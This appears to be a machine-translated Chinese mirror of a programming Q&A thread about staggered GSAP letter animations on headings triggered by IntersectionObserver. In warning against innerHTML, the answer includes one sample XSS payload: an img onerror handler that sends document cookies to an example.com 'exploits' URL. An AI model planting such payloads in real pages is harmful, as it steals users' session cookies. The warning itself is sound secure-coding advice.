每个带有IntersectionObserver的新动画元素都会出现不必要的延迟

问题描述 投票:2回答:1

我正在使用IntersectionObserver为滚动上的每个h1设置动画。正如您在代码段中所看到的那样,问题在于动画每次为h1触发一次。这意味着相交的h1的每个新动画都需要等待之前的动画结束,并且结果基本上是每个entry.target的增量延迟。那不是我想要的我尝试在未观察到anim-text之前和之后删除entry.target类,但是没有用。我认为问题出在// TEXT SPLITTING部分中的forEach循环中,但是我的所有努力都没有解决问题。

谢谢您的帮助!

const titles = document.querySelectorAll("h1");

const titlesOptions = {
  root: null,
  threshold: 1,
  rootMargin: "0px 0px -5% 0px"
};
const titlesObserver = new IntersectionObserver(function(
  entries,
  titlesObserver
) {
  entries.forEach(entry => {
    if (!entry.isIntersecting) {
      return;
    } else {
      entry.target.classList.add("anim-text");
      // TEXT SPLITTING
      const animTexts = document.querySelectorAll(".anim-text");

      animTexts.forEach(text => {
        const strText = text.textContent;
        const splitText = strText.split("");
        text.textContent = "";

        splitText.forEach(item => {
          text.innerHTML += "<span>" + item + "</span>";
        });
      });
      // END TEXT SPLITTING

      // TITLE ANIMATION
      const charTl = gsap.timeline();

      charTl.set(entry.target, { opacity: 1 }).from(".anim-text span", {
        opacity: 0,
        x: 40,
        stagger: 0.1
      });

      titlesObserver.unobserve(entry.target);
      // END TITLE ANIMATION
    }
  });
},
titlesOptions);

titles.forEach(title => {
  titlesObserver.observe(title);
});
* {
  color: white;
  padding: 0;
  margin: 0;
}
.top {
  display: flex;
  justify-content: center;
  align-items: center;
  font-size: 2rem;
  height: 100vh;
  width: 100%;
  background-color: #279AF1;
}

h1 {
  opacity: 0;
  font-size: 4rem;
}

section {
  padding: 2em;
  height: 100vh;
}

.sec-1 {
  background-color: #EA526F;
}

.sec-2 {
  background-color: #23B5D3;
}

.sec-3 {
  background-color: #F9C80E;
}

.sec-4 {
  background-color: #662E9B;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<div class="top">Scroll Down</div>
<section class="sec-1">
  <h1>FIRST</h1>
</section>
<section class="sec-2">
  <h1>SECOND</h1>
</section>
<section class="sec-3">
  <h1>THIRD</h1>
</section>
<section class="sec-4">
  <h1>FOURTH</h1>
</section>
javascript foreach gsap intersection-observer
1个回答
0
投票

在这里让我们简化一下,因为您展示的代码超出了必要。另外,您正在以一种奇怪的方式来做某些事情,所以也有一些技巧。

  1. 您有一个if (...) { return } else ...,不需要else范围:要么函数返回,要么我们继续。
  2. 而不是检查“不相交”然后返回,而不是检查插入然后运行。
  3. 您正在使用+使用字符串合成:停止使用该字符串并开始使用现代的模板字符串。因此,您可以使用"a" + b + "c"代替`a${b}c`。不再有+,也没有与字符串组成有关的bug。
  4. 您正在使用.innerHTML分配:这是非常危险的,特别是如果其他人的脚本将您的标题更新为原义HTML代码(例如<img src="fail.jpg" onerror="fetch('http://example.com/exploits/send?data='+JSON.stringify(document.cookies)">等)时,则尤其如此。切勿使用innerHTML,请使用常规DOM功能(createElementappendChild等)。

function revealEntry(h1) {
  const text = h1.textContent;
  h1.textContent = "";

  text.split(``).forEach(letter => {
    span = document.createElement('span');
    span.textContent = letter;
    h1.appendChild(span);
  });

  // THIS IS THE ACTUAL FIX: instead of selecting _all_ spans
  // inside _all_ headings with .anim-text, we *only* select
  // the spans in _this_ heading:
  const textSpans = `#${h1.id} span`;

  const to = { opacity: 1 };
  const from = { opacity: 0, x: -40, stagger: 1 };
  gsap.timeline().set(h1, to).from(textSpans, from);
}

function watchHeadings (entries, observer) {
  entries.forEach(entry => {
    if (entry.isIntersecting) {
      const h1 = entry.target;
      revealEntry(h1);
      observer.unobserve(h1);
    }
  });
};

const observer = new IntersectionObserver(watchHeadings);
const headings = document.querySelectorAll("h1");
headings.forEach(h1 => observer.observe(h1));
h1 {
  opacity: 0;
  font-size: 1rem;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/3.2.5/gsap.min.js"></script>
<h1 id="a">FIRST</h1>
<h1 id="b">SECOND</h1>
<h1 id="c">THIRD</h1>
<h1 id="d">FOURTH</h1>
© www.soinside.com 2019 - 2024. All rights reserved.